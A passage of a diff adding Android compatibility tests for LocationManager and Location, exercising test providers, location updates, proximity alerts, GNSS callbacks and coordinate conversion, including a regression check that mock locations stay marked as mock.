+                assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc2);
+                mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+                assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.FALSE);
+                mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+                assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+            }
+
+        } finally {
+            looper.quit();
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates_Criteria() throws Exception {
+        // criteria API will always use the fused provider...
+        mManager.addTestProvider(FUSED_PROVIDER,
+                false,
+                false,
+                false,
+                false,
+                true,
+                true,
+                true,
+                Criteria.POWER_LOW,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+
+        Criteria criteria = new Criteria();
+        criteria.setAccuracy(Criteria.ACCURACY_FINE);
+        criteria.setPowerRequirement(Criteria.POWER_LOW);
+
+        Location loc1 = createLocation(FUSED_PROVIDER, mRandom);
+        Location loc2 = createLocation(FUSED_PROVIDER, mRandom);
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mManager)) {
+            mManager.requestLocationUpdates(0, 0, criteria, Runnable::run, capture);
+
+            mManager.setTestProviderLocation(FUSED_PROVIDER, loc1);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+            mManager.setTestProviderLocation(FUSED_PROVIDER, loc2);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc2);
+            mManager.setTestProviderEnabled(FUSED_PROVIDER, false);
+            assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.FALSE);
+            mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+            assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+
+            mManager.removeUpdates(capture);
+
+            mManager.setTestProviderLocation(FUSED_PROVIDER, loc1);
+            assertNull(capture.getNextLocation(FAILURE_TIMEOUT_MS));
+            mManager.setTestProviderEnabled(FUSED_PROVIDER, false);
+            assertNull(capture.getNextProviderChange(FAILURE_TIMEOUT_MS));
+            mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+            assertNull(capture.getNextProviderChange(FAILURE_TIMEOUT_MS));
+        }
+
+
+        try {
+            mManager.requestLocationUpdates(0, 0, criteria, null, Looper.getMainLooper());
+            fail("Should throw IllegalArgumentException if listener is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mManager)) {
+            mManager.requestLocationUpdates(0, 0, criteria, null, capture);
+            fail("Should throw IllegalArgumentException if executor is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mManager)) {
+            mManager.requestLocationUpdates(0, 0, null, Runnable::run, capture);
+            fail("Should throw IllegalArgumentException if criteria is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates_ReplaceRequest() throws Exception {
+        Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+        Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mManager)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 1000, 1000, Runnable::run, capture);
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, Runnable::run, capture);
+
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc2);
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates_NumUpdates() throws Exception {
+        Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+        Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+        LocationRequest request = LocationRequest.createFromDeprecatedProvider(TEST_PROVIDER, 0, 0,
+                false);
+        request.setNumUpdates(1);
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mManager)) {
+            mManager.requestLocationUpdates(request, Runnable::run, capture);
+
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+            assertNull(capture.getNextLocation(FAILURE_TIMEOUT_MS));
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates_MinTime() throws Exception {
+        Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+        Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+        LocationRequest request = LocationRequest.createFromDeprecatedProvider(TEST_PROVIDER, 5000,
+                0, false);
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mManager)) {
+            mManager.requestLocationUpdates(request, Runnable::run, capture);
+
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+            assertNull(capture.getNextLocation(FAILURE_TIMEOUT_MS));
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates_MinDistance() throws Exception {
+        Location loc1 = createLocation(TEST_PROVIDER, 0, 0, 10);
+        Location loc2 = createLocation(TEST_PROVIDER, 0, 1, 10);
+
+        LocationRequest request = LocationRequest.createFromDeprecatedProvider(TEST_PROVIDER, 0,
+                200000, false);
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mManager)) {
+            mManager.requestLocationUpdates(request, Runnable::run, capture);
+
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+            assertNull(capture.getNextLocation(FAILURE_TIMEOUT_MS));
+        }
+    }
+
+    @Test
+    public void testGetAllProviders() {
+        List<String> providers = mManager.getAllProviders();
+        if (hasGpsFeature()) {
+            assertTrue(providers.contains(LocationManager.GPS_PROVIDER));
+        }
+        assertTrue(providers.contains(PASSIVE_PROVIDER));
+        assertTrue(providers.contains(TEST_PROVIDER));
+
+        mManager.removeTestProvider(TEST_PROVIDER);
+
+        providers = mManager.getAllProviders();
+        assertTrue(providers.contains(PASSIVE_PROVIDER));
+        assertFalse(providers.contains(TEST_PROVIDER));
+    }
+
+    @Test
+    public void testGetProviders() {
+        List<String> providers = mManager.getProviders(false);
+        assertTrue(providers.contains(TEST_PROVIDER));
+
+        providers = mManager.getProviders(true);
+        assertTrue(providers.contains(TEST_PROVIDER));
+
+        mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+
+        providers = mManager.getProviders(false);
+        assertTrue(providers.contains(TEST_PROVIDER));
+
+        providers = mManager.getProviders(true);
+        assertFalse(providers.contains(TEST_PROVIDER));
+    }
+
+    @Test
+    public void testGetProviders_Criteria() {
+        Criteria criteria = new Criteria();
+
+        List<String> providers = mManager.getProviders(criteria, false);
+        assertTrue(providers.contains(TEST_PROVIDER));
+
+        providers = mManager.getProviders(criteria, true);
+        assertTrue(providers.contains(TEST_PROVIDER));
+
+        criteria.setPowerRequirement(Criteria.POWER_LOW);
+
+        providers = mManager.getProviders(criteria, false);
+        assertFalse(providers.contains(TEST_PROVIDER));
+
+        providers = mManager.getProviders(criteria, true);
+        assertFalse(providers.contains(TEST_PROVIDER));
+    }
+
+    @Test
+    public void testGetBestProvider() {
+        List<String> allProviders = mManager.getAllProviders();
+        Criteria criteria = new Criteria();
+
+        String bestProvider = mManager.getBestProvider(criteria, false);
+        if (allProviders.contains(GPS_PROVIDER)) {
+            assertThat(bestProvider).isEqualTo(GPS_PROVIDER);
+        } else if (allProviders.contains(NETWORK_PROVIDER)) {
+            assertThat(bestProvider).isEqualTo(NETWORK_PROVIDER);
+        } else {
+            assertThat(bestProvider).isEqualTo(TEST_PROVIDER);
+        }
+
+        // the "perfect" provider - this test case only works if there is no real provider on the
+        // device with the same "perfect" properties
+        mManager.addTestProvider(TEST_PROVIDER,
+                false,
+                false,
+                false,
+                false,
+                true,
+                true,
+                true,
+                Criteria.POWER_LOW,
+                Criteria.ACCURACY_FINE);
+
+        criteria.setAccuracy(Criteria.ACCURACY_FINE);
+        criteria.setPowerRequirement(Criteria.POWER_LOW);
+        assertThat(mManager.getBestProvider(criteria, false)).isEqualTo(TEST_PROVIDER);
+
+        mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+        assertNotEquals(TEST_PROVIDER, mManager.getBestProvider(criteria, true));
+    }
+
+    @Test
+    public void testGetProvider() {
+        LocationProvider provider = mManager.getProvider(TEST_PROVIDER);
+        assertNotNull(provider);
+        assertThat(provider.getName()).isEqualTo(TEST_PROVIDER);
+
+        provider = mManager.getProvider(LocationManager.GPS_PROVIDER);
+        if (hasGpsFeature()) {
+            assertNotNull(provider);
+            assertThat(provider.getName()).isEqualTo(LocationManager.GPS_PROVIDER);
+        } else {
+            assertNull(provider);
+        }
+
+        try {
+            mManager.getProvider(null);
+            fail("Should throw IllegalArgumentException when provider is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    @AppModeFull(reason = "Instant apps can't hold ACCESS_LOCATION_EXTRA_COMMANDS")
+    public void testSendExtraCommand() {
+        for (String provider : mManager.getAllProviders()) {
+            boolean res = mManager.sendExtraCommand(provider, "dontCrash", null);
+            assertTrue(res);
+
+            try {
+                mManager.sendExtraCommand(provider, null, null);
+                fail("Should throw IllegalArgumentException if command is null!");
+            } catch (IllegalArgumentException e) {
+                // expected
+            }
+        }
+
+        try {
+            mManager.sendExtraCommand(null, "crash", null);
+            fail("Should throw IllegalArgumentException if provider is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testAddTestProvider() {
+        // overwriting providers should not crash
+        for (String provider : mManager.getAllProviders()) {
+            if (PASSIVE_PROVIDER.equals(provider)) {
+                continue;
+            }
+
+            mManager.addTestProvider(provider, true,
+                    false,
+                    true,
+                    false,
+                    false,
+                    false,
+                    false,
+                    Criteria.POWER_MEDIUM,
+                    Criteria.ACCURACY_FINE);
+            mManager.setTestProviderLocation(provider, createLocation(provider, mRandom));
+        }
+
+        try {
+            mManager.addTestProvider("passive",
+                    true,
+                    false,
+                    true,
+                    false,
+                    false,
+                    false,
+                    false,
+                    Criteria.POWER_MEDIUM,
+                    Criteria.ACCURACY_FINE);
+            fail("Should throw IllegalArgumentException if provider is passive!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try {
+            mManager.addTestProvider(null,
+                    true,
+                    false,
+                    true,
+                    false,
+                    false,
+                    false,
+                    false,
+                    Criteria.POWER_MEDIUM,
+                    Criteria.ACCURACY_FINE);
+            fail("Should throw IllegalArgumentException if provider is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testSetTestProviderLocation() throws Exception {
+        Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+        Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+        for (String provider : mManager.getAllProviders()) {
+            if (TEST_PROVIDER.equals(provider)) {
+                try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+                    mManager.getCurrentLocation(provider, capture.getCancellationSignal(),
+                            Runnable::run, capture);
+                    mManager.setTestProviderLocation(provider, loc1);
+
+                    Location received = capture.getNextLocation(TIMEOUT_MS);
+                    assertThat(received).isEqualTo(loc1);
+                    assertTrue(received.isFromMockProvider());
+                    assertThat(mManager.getLastKnownLocation(provider)).isEqualTo(loc1);
+
+                    mManager.setTestProviderEnabled(provider, false);
+                    mManager.setTestProviderLocation(provider, loc2);
+                    assertNull(mManager.getLastKnownLocation(provider));
+                }
+            } else {
+                try {
+                    mManager.setTestProviderLocation(provider, loc1);
+                    fail("Should throw IllegalArgumentException since " + provider
+                            + " is not a test provider!");
+                } catch (IllegalArgumentException e) {
+                    // expected
+                }
+            }
+        }
+
+        try {
+            mManager.setTestProviderLocation(TEST_PROVIDER, null);
+            fail("Should throw IllegalArgumentException since location is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        mManager.removeTestProvider(TEST_PROVIDER);
+        try {
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+            fail("Should throw IllegalArgumentException since " + TEST_PROVIDER
+                    + " is not a test provider!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try {
+            mManager.setTestProviderLocation(null, loc1);
+            fail("Should throw IllegalArgumentException since provider is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testSetTestProviderLocation_B33091107() throws Exception {
+        // test for b/33091107, where a malicious app could fool a real provider into providing a
+        // mock location that isn't marked as being mock
+
+        List<String> providers = mManager.getAllProviders();
+        if (providers.size() <= 2) {
+            // can't perform the test without any real providers, and no need to do so since there
+            // are no providers a malicious app could fool
+            assertTrue(providers.contains(TEST_PROVIDER));
+            assertTrue(providers.contains(PASSIVE_PROVIDER));
+            return;
+        }
+
+        providers.remove(TEST_PROVIDER);
+        providers.remove(PASSIVE_PROVIDER);
+
+        String realProvider = providers.get(0);
+        Location loc = createLocation(realProvider, mRandom);
+
+        try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+            mManager.getCurrentLocation(TEST_PROVIDER, capture.getCancellationSignal(),
+                    Runnable::run, capture);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+
+            Location received = capture.getNextLocation(TIMEOUT_MS);
+            assertThat(received).isEqualTo(loc);
+            assertTrue(received.isFromMockProvider());
+
+            Location realProvideLocation = mManager.getLastKnownLocation(realProvider);
+            if (realProvideLocation != null) {
+                try {
+                    assertThat(realProvideLocation).isEqualTo(loc);
+                    fail("real provider saw " + TEST_PROVIDER + " location!");
+                } catch (AssertionError e) {
+                    // pass
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testRemoveTestProvider() {
+        // removing providers should not crash
+        for (String provider : mManager.getAllProviders()) {
+            mManager.removeTestProvider(provider);
+        }
+    }
+
+    @Test
+    public void testAddProximityAlert() throws Exception {
+        if (isNotSystemUser()) {
+            Log.i(TAG, "Skipping test on secondary user");
+            return;
+        }
+
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+        mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 30, 30, 10));
+
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            mManager.addProximityAlert(0, 0, 1000, -1, capture.getPendingIntent());
+
+            // adding a proximity alert is asynchronous for no good reason, so we have to wait and
+            // hope the alert is added in the mean time.
+            Thread.sleep(500);
+
+            mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 0, 0, 10));
+            assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+
+            mManager.setTestProviderLocation(FUSED_PROVIDER,
+                    createLocation(FUSED_PROVIDER, 30, 30, 10));
+            assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.FALSE);
+        }
+
+        try {
+            mManager.addProximityAlert(0, 0, 1000, -1, null);
+            fail("Should throw IllegalArgumentException if pending intent is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            try {
+                mManager.addProximityAlert(0, 0, 0, -1, capture.getPendingIntent());
+                fail("Should throw IllegalArgumentException if radius == 0!");
+            } catch (IllegalArgumentException e) {
+                // expected
+            }
+
+            try {
+                mManager.addProximityAlert(0, 0, -1, -1, capture.getPendingIntent());
+                fail("Should throw IllegalArgumentException if radius < 0!");
+            } catch (IllegalArgumentException e) {
+                // expected
+            }
+
+            try {
+                mManager.addProximityAlert(1000, 1000, 1000, -1, capture.getPendingIntent());
+                fail("Should throw IllegalArgumentException if lat/lon are illegal!");
+            } catch (IllegalArgumentException e) {
+                // expected
+            }
+        }
+    }
+
+    @Test
+    public void testAddProximityAlert_StartProximate() throws Exception {
+        if (isNotSystemUser()) {
+            Log.i(TAG, "Skipping test on secondary user");
+            return;
+        }
+
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+        mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 0, 0, 10));
+
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            mManager.addProximityAlert(0, 0, 1000, -1, capture.getPendingIntent());
+            assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+        }
+    }
+
+    @Test
+    public void testAddProximityAlert_Expires() throws Exception {
+        if (isNotSystemUser()) {
+            Log.i(TAG, "Skipping test on secondary user");
+            return;
+        }
+
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+        mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 30, 30, 10));
+
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            mManager.addProximityAlert(0, 0, 1000, 1, capture.getPendingIntent());
+
+            // adding a proximity alert is asynchronous for no good reason, so we have to wait and
+            // hope the alert is added in the mean time.
+            Thread.sleep(500);
+
+            mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 0, 0, 10));
+            assertNull(capture.getNextProximityChange(FAILURE_TIMEOUT_MS));
+        }
+    }
+
+    @Test
+    public void testGetGnssYearOfHardware() {
+        mManager.getGnssYearOfHardware();
+    }
+
+    @Test
+    public void testGetGnssHardwareModelName() {
+        // model name should be longer than 4 characters
+        String gnssHardwareModelName = mManager.getGnssHardwareModelName();
+        assertThat(gnssHardwareModelName.length()).isGreaterThan(3);
+    }
+
+    @Test
+    public void testRegisterGnssStatusCallback() {
+        GnssStatus.Callback callback = new GnssStatus.Callback() {
+        };
+
+        mManager.registerGnssStatusCallback(Runnable::run, callback);
+        mManager.unregisterGnssStatusCallback(callback);
+    }
+
+    @Test
+    public void testAddNmeaListener() {
+        OnNmeaMessageListener listener = (message, timestamp) -> {
+        };
+
+        mManager.addNmeaListener(Runnable::run, listener);
+        mManager.removeNmeaListener(listener);
+    }
+
+    @Test
+    public void testRegisterGnssMeasurementsCallback() {
+        GnssMeasurementsEvent.Callback callback = new GnssMeasurementsEvent.Callback() {
+        };
+
+        mManager.registerGnssMeasurementsCallback(Runnable::run, callback);
+        mManager.unregisterGnssMeasurementsCallback(callback);
+    }
+
+    @Test
+    public void testRegisterGnssNavigationMessageCallback() {
+        GnssNavigationMessage.Callback callback = new GnssNavigationMessage.Callback() {
+        };
+
+        mManager.registerGnssNavigationMessageCallback(Runnable::run, callback);
+        mManager.unregisterGnssNavigationMessageCallback(callback);
+    }
+
+    private boolean hasGpsFeature() {
+        return mContext.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_LOCATION_GPS);
+    }
+
+    private boolean isNotSystemUser() {
+        return !mContext.getSystemService(UserManager.class).isSystemUser();
+    }
+
+    private static class LocationListenerCapture implements LocationListener, AutoCloseable {
+
+        private final LocationManager mLocationManager;
+        private final LinkedBlockingQueue<Location> mLocations;
+        private final LinkedBlockingQueue<Boolean> mProviderChanges;
+
+        public LocationListenerCapture(LocationManager locationManager) {
+            mLocationManager = locationManager;
+            mLocations = new LinkedBlockingQueue<>();
+            mProviderChanges = new LinkedBlockingQueue<>();
+        }
+
+        public Location getNextLocation(long timeoutMs) throws InterruptedException {
+            return mLocations.poll(timeoutMs, TimeUnit.MILLISECONDS);
+        }
+
+        public Boolean getNextProviderChange(long timeoutMs) throws InterruptedException {
+            return mProviderChanges.poll(timeoutMs, TimeUnit.MILLISECONDS);
+        }
+
+        @Override
+        public void onLocationChanged(Location location) {
+            mLocations.add(location);
+        }
+
+        @Override
+        public void onStatusChanged(String provider, int status, Bundle extras) {
+        }
+
+        @Override
+        public void onProviderEnabled(String provider) {
+            mProviderChanges.add(true);
+        }
+
+        @Override
+        public void onProviderDisabled(String provider) {
+            mProviderChanges.add(false);
+        }
+
+        @Override
+        public void close() {
+            mLocationManager.removeUpdates(this);
+        }
+    }
+
+    private static class LocationPendingIntentCapture extends BroadcastReceiver implements
+            AutoCloseable {
+
+        private static final String ACTION = "android.location.cts.LOCATION_BROADCAST";
+        private static final AtomicInteger sRequestCode = new AtomicInteger(0);
+
+        private final Context mContext;
+        private final LocationManager mLocationManager;
+        private final PendingIntent mPendingIntent;
+        private final LinkedBlockingQueue<Location> mLocations;
+        private final LinkedBlockingQueue<Boolean> mProviderChanges;
+
+        public LocationPendingIntentCapture(Context context) {
+            mContext = context;
+            mLocationManager = context.getSystemService(LocationManager.class);
+            mPendingIntent = PendingIntent.getBroadcast(context, sRequestCode.getAndIncrement(),
+                    new Intent(ACTION).setPackage(context.getPackageName()),
+                    PendingIntent.FLAG_CANCEL_CURRENT);
+            mLocations = new LinkedBlockingQueue<>();
+            mProviderChanges = new LinkedBlockingQueue<>();
+
+            context.registerReceiver(this, new IntentFilter(ACTION));
+        }
+
+        public PendingIntent getPendingIntent() {
+            return mPendingIntent;
+        }
+
+        /**
+         * May not be called from the main thread. Tests do not run on the main thread so this
+         * generally shouldn't be a problem.
+         */
+        public Location getNextLocation(long timeoutMs) throws InterruptedException {
+            Preconditions.checkState(Looper.myLooper() != Looper.getMainLooper());
+            return mLocations.poll(timeoutMs, TimeUnit.MILLISECONDS);
+        }
+
+        /**
+         * May not be called from the main thread. Tests do not run on the main thread so this
+         * generally shouldn't be a problem.
+         */
+        public Boolean getNextProviderChange(long timeoutMs) throws InterruptedException {
+            Preconditions.checkState(Looper.myLooper() != Looper.getMainLooper());
+            return mProviderChanges.poll(timeoutMs, TimeUnit.MILLISECONDS);
+        }
+
+        @Override
+        public void close() {
+            mLocationManager.removeUpdates(mPendingIntent);
+            mContext.unregisterReceiver(this);
+            mPendingIntent.cancel();
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (intent.hasExtra(KEY_PROVIDER_ENABLED)) {
+                mProviderChanges.add(intent.getBooleanExtra(KEY_PROVIDER_ENABLED, false));
+            } else if (intent.hasExtra(KEY_LOCATION_CHANGED)) {
+                mLocations.add(intent.getParcelableExtra(KEY_LOCATION_CHANGED));
+            }
+        }
+    }
+
+    private static class ProximityPendingIntentCapture extends BroadcastReceiver implements
+            AutoCloseable {
+
+        private static final String ACTION = "android.location.cts.LOCATION_BROADCAST";
+        private static final AtomicInteger sRequestCode = new AtomicInteger(0);
+
+        private final Context mContext;
+        private final LocationManager mLocationManager;
+        private final PendingIntent mPendingIntent;
+        private final LinkedBlockingQueue<Boolean> mProximityChanges;
+
+        public ProximityPendingIntentCapture(Context context) {
+            mContext = context;
+            mLocationManager = context.getSystemService(LocationManager.class);
+            mPendingIntent = PendingIntent.getBroadcast(context, sRequestCode.getAndIncrement(),
+                    new Intent(ACTION).setPackage(context.getPackageName()),
+                    PendingIntent.FLAG_CANCEL_CURRENT);
+            mProximityChanges = new LinkedBlockingQueue<>();
+
+            context.registerReceiver(this, new IntentFilter(ACTION));
+        }
+
+        public PendingIntent getPendingIntent() {
+            return mPendingIntent;
+        }
+
+        /**
+         * May not be called from the main thread. Tests do not run on the main thread so this
+         * generally shouldn't be a problem.
+         */
+        public Boolean getNextProximityChange(long timeoutMs) throws InterruptedException {
+            Preconditions.checkState(Looper.myLooper() != Looper.getMainLooper());
+            return mProximityChanges.poll(timeoutMs, TimeUnit.MILLISECONDS);
+        }
+
+        @Override
+        public void close() {
+            mLocationManager.removeProximityAlert(mPendingIntent);
+            mContext.unregisterReceiver(this);
+            mPendingIntent.cancel();
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (intent.hasExtra(KEY_PROXIMITY_ENTERING)) {
+                mProximityChanges.add(intent.getBooleanExtra(KEY_PROXIMITY_ENTERING, false));
+            }
+        }
+    }
+
+    private static class GetCurrentLocationCapture implements Consumer<Location>, AutoCloseable {
+
+        private final CancellationSignal mCancellationSignal;
+        private final LinkedBlockingQueue<Location> locations;
+
+        public GetCurrentLocationCapture() {
+            locations = new LinkedBlockingQueue<>();
+            mCancellationSignal = new CancellationSignal();
+        }
+
+        public CancellationSignal getCancellationSignal() {
+            return mCancellationSignal;
+        }
+
+        public Location getNextLocation(long timeoutMs) throws InterruptedException {
+            return locations.poll(timeoutMs, TimeUnit.MILLISECONDS);
+        }
+
+        @Override
+        public void accept(Location location) {
+            locations.add(location);
+        }
+
+        @Override
+        public void close() {
+            mCancellationSignal.cancel();
+        }
+    }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationTest.java
new file mode 100644
index 0000000..270148c
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationTest.java
@@ -0,0 +1,507 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import android.location.Location;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.test.AndroidTestCase;
+import android.util.StringBuilderPrinter;
+
+import java.text.DecimalFormat;
+
+public class LocationTest extends AndroidTestCase {
+
+    private static final float DELTA = 0.1f;
+    private final float TEST_ACCURACY = 1.0f;
+    private final float TEST_VERTICAL_ACCURACY = 2.0f;
+    private final float TEST_SPEED_ACCURACY = 3.0f;
+    private final float TEST_BEARING_ACCURACY = 4.0f;
+    private final double TEST_ALTITUDE = 1.0;
+    private final double TEST_LATITUDE = 50;
+    private final float TEST_BEARING = 1.0f;
+    private final double TEST_LONGITUDE = 20;
+    private final float TEST_SPEED = 5.0f;
+    private final long TEST_TIME = 100;
+    private final String TEST_PROVIDER = "LocationProvider";
+    private final String TEST_KEY1NAME = "key1";
+    private final String TEST_KEY2NAME = "key2";
+    private final boolean TEST_KEY1VALUE = false;
+    private final byte TEST_KEY2VALUE = 10;
+
+    private static final String ENABLED_KEY = "enabled";
+    private static final String MESSENGER_KEY = "messenger";
+
+
+    public void testConstructor() {
+        new Location("LocationProvider");
+
+        Location l = createTestLocation();
+        Location location = new Location(l);
+        assertTestLocation(location);
+
+        try {
+            new Location((Location) null);
+            fail("should throw NullPointerException");
+        } catch (NullPointerException e) {
+            // expected.
+        }
+    }
+
+    public void testDump() {
+        StringBuilder sb = new StringBuilder();
+        StringBuilderPrinter printer = new StringBuilderPrinter(sb);
+        Location location = new Location("LocationProvider");
+        location.dump(printer, "");
+        assertNotNull(sb.toString());
+    }
+
+    public void testBearingTo() {
+        Location location = new Location("");
+        Location dest = new Location("");
+
+        // set the location to Beijing
+        location.setLatitude(39.9);
+        location.setLongitude(116.4);
+        // set the destination to Chengdu
+        dest.setLatitude(30.7);
+        dest.setLongitude(104.1);
+        assertEquals(-128.66, location.bearingTo(dest), DELTA);
+
+        float bearing;
+        Location zeroLocation = new Location("");
+        zeroLocation.setLatitude(0);
+        zeroLocation.setLongitude(0);
+
+        Location testLocation = new Location("");
+        testLocation.setLatitude(0);
+        testLocation.setLongitude(150);
+
+        bearing = zeroLocation.bearingTo(zeroLocation);
+        assertEquals(0.0f, bearing, DELTA);
+
+        bearing = zeroLocation.bearingTo(testLocation);
+        assertEquals(90.0f, bearing, DELTA);
+
+        testLocation.setLatitude(90);
+        testLocation.setLongitude(0);
+        bearing = zeroLocation.bearingTo(testLocation);
+        assertEquals(0.0f, bearing, DELTA);
+
+        try {
+            location.bearingTo(null);
+            fail("should throw NullPointerException");
+        } catch (NullPointerException e) {
+            // expected.
+        }
+    }
+
+    public void testConvert_CoordinateToRepresentation() {
+        DecimalFormat df = new DecimalFormat("###.#####");
+        String result;
+
+        result = Location.convert(-80.0, Location.FORMAT_DEGREES);
+        assertEquals("-" + df.format(80.0), result);
+
+        result = Location.convert(-80.085, Location.FORMAT_MINUTES);
+        assertEquals("-80:" + df.format(5.1), result);
+
+        result = Location.convert(-80, Location.FORMAT_MINUTES);
+        assertEquals("-80:" + df.format(0), result);
+
+        result = Location.convert(-80.075, Location.FORMAT_MINUTES);
+        assertEquals("-80:" + df.format(4.5), result);
+
+        result = Location.convert(-80.075, Location.FORMAT_DEGREES);
+        assertEquals("-" + df.format(80.075), result);
+
+        result = Location.convert(-80.075, Location.FORMAT_SECONDS);
+        assertEquals("-80:4:30", result);
+
+        try {
+            Location.convert(-181, Location.FORMAT_SECONDS);
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+
+        try {
+            Location.convert(181, Location.FORMAT_SECONDS);
